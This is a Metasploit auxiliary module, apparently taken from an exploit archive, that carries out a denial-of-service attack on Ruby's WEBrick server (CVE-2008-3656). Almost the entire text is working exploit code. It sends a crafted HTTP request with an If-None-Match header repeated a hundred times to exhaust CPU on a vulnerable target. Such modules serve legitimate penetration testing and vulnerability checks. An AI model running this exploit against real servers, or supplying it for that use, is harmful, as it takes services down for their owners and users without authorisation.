Ruby WEBrick::HTTP::DefaultFileHandler Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS',  
'Description' => %q{  
The WEBrick::HTTP::DefaultFileHandler in WEBrick in  
Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7  
to 1.8.7-p71, and 1.9 to r18423 allows for a DoS  
(CPU consumption) via a crafted HTTP request.  
},  
'Author' => 'kris katterjohn',  
'License' => MSF_LICENSE,  
'References' => [  
[ 'BID', '30644'],  
[ 'CVE', '2008-3656'],  
[ 'OSVDB', '47471' ],  
[ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/']  
],  
'DisclosureDate' => '2008-08-08'))  
  
register_options([  
OptString.new('URI', [ true, 'URI to request', '/' ])  
])  
end  
  
def run  
begin  
o = {  
'uri' => normalize_uri(datastore['URI']),  
'headers' => {  
'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100  
}  
}  
  
c = connect(o)  
c.send_request(c.request_raw(o))  
  
print_status("Request sent to #{rhost}:#{rport}")  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_status("Couldn't connect to #{rhost}:#{rport}")  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end  
`